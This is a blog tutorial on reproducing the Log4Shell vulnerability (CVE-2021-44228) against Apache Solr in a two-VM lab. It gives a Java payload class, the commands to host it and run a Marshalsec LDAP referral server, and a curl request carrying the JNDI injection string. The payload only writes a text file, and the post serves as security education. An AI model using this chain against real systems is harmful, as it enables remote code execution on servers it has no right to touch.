Reproducing the Log4Shell vulnerability (CVE-2021-44228)

April 16, 2022 4 minute read

Introduction

In this blog post we will be diving into the necessary steps to reproduce the Log4Shell vulnerability (CVE-2021-44228). Log4Shell is a software vulnerability in Apache Log4j2, a popular Java-based logging utility. The vulnerability has received lots of coverage on Social Media. I highly recommend watching the following videos if you wish to learn more about the background information of Log4Shell:

Reproduction

Virtual Environment setup

The virtual environment for reproducing the Log4Shell vulnerability consists of two virtual machines:

VM1 (Windows 11 OS): hosts Apache Solr 7.7.3, which uses a vulnerable version of Apache Log4j
VM2 (Kali Linux OS): hosts a simple HTTP server which contains our Java payload, and a LDAP referral server (using Marshalsec) to redirect traffic to the HTTP server

We will use VirtualBox to manage our virtual machines.

VM1 will get the 10.0.0.10 static IP address:

You can configure this by navigating to Control Panel –> Network and Sharing Center –> Change adapter settings –> Right click on your network device –> Properties –> Internet Protocol Version 4 (TCP/IPv4) –> Properties

VM2 will get the 10.0.0.11 static IP address:

You can configure this by entering the following command in a terminal: sudo ifconfig eth0 10.0.0.11 netmask 255.0.0.0

Once the static IP addresses are configured, make sure that both VM’s can ping eachother:

Setting things up on VM1 (Windows 11 OS)

Apache Solr requires Java Runtime Environment (JRE) version 1.8 or higher in order to run. In this blog post we will use JDK 1.8.0_181. You can download it from the official Oracle website, but this will require you to sign up for an account first. You can also use a download mirror, such as: https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exe

After installing JDK 1.8.0_181 on your VM, download Solr 7.7.3 from https://solr.apache.org/downloads.html and unzip the file. Now open a new commandprompt and navigate to the directory in order to launch the application. I’ve unzipped Solr on my Desktop, so I will cd into C:\Users\User\Desktop\solr-7.7.3a\solr-7.7.3\bin and run the solr start command:

With the Solr server running, open your web browser and browse to http://127.0.0.1:8983/. You should be presented with a dashboard that looks something like this:

Setting things up on VM2 (Kali Linux OS)

Now that our target is reachable and running an application that is vulnerable to Log4Shell, it is time to prepare our attacking machine. First of, we need a Java payload that can be called when the target connects to our LDAP server. Save the code below, for example as /tmp/demo/Exploit.java.

public class Exploit {
  static {
    try {
      java.lang.Runtime.getRuntime().exec("cmd.exe /c echo Hello! > Log4Shelldemo.txt").waitFor();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

This payload is quite simple and harmless. All it does is put the text “Hello!” into a file called “Log4Shelldemo.txt”.

Our payload needs to be compiled using the same Java version as the application that we’re exploiting, so go ahead and download the Linux version of JDK 1.8.0_181 onto VM2 (mirror: https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz). Extract it using the tar -xvzf jdk-8u181-linux-x64.tar.gz command.
Now compile the payload by running ./jdk1.8.0_181/bin/javac /tmp/demo/Exploit.java:

This should result in a file called Exploit.class in our /tmp/demo directory:

We want to host this file on a simple HTTP server. In this case we will host it on port 8000 by running python3 -m http.server 8000 -d /tmp/demo:

Next, using Marshalsec, we will run our malicious LDAP server to redirect traffic to the HTTP server with our payload. Follow these steps:

Install Maven by running sudo apt-get install maven
cd /tmp
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.0.0.11:8000/#Exploit"

You should now have a running LDAP referral server that is listening on port 1389:

Exploitation

Now that we have both a Java payload on a HTTP server and a malicious LDAP server to redirect the traffic, we can send our exploit string to the Apache Solr application. We will use cURL to send the following malicious GET request to our target:
curl 'http://10.0.0.10:8983/solr/admin/cores?foo=$\{jndi:ldap://10.0.0.11:1389/Exploit\}' Once the string gets parsed by the Log4j2 logger, the vulnerable application will reach out to the LDAP server and look for the “Exploit” object. It will then get redirected to the HTTP server, load our Exploit.class payload and execute it!

So, let’s send the GET request:

Inside our other terminal window, we can see that the LDAP server successfully redirected the traffic:

And on our HTTP server, we can see a GET request from 10.0.0.10 for our Exploit.class payload with a status code of 200:

Back on our Windows 11 VM, let’s browse to the Apache Solr server folder:

And as you can see, our Log4Shelldemo.txt file is right there. If we open it, it should contain the “Hello!” text:

This means that our payload was executed and the exploit was succesful!

Sources:

Reproducing the Log4Shell vulnerability (CVE-2021-44228)

Introduction

Reproduction

Virtual Environment setup

Setting things up on VM1 (Windows 11 OS)

Setting things up on VM2 (Kali Linux OS)

Exploitation

You May Also Enjoy

Android Malware Vultur Expands Its Wingspan Permalink

From ERMAC to Hook: Investigating the technical differences between two Android malware variants Permalink

Retrospect and future plans - Pt. 3

Retrospect and future plans - Pt. 2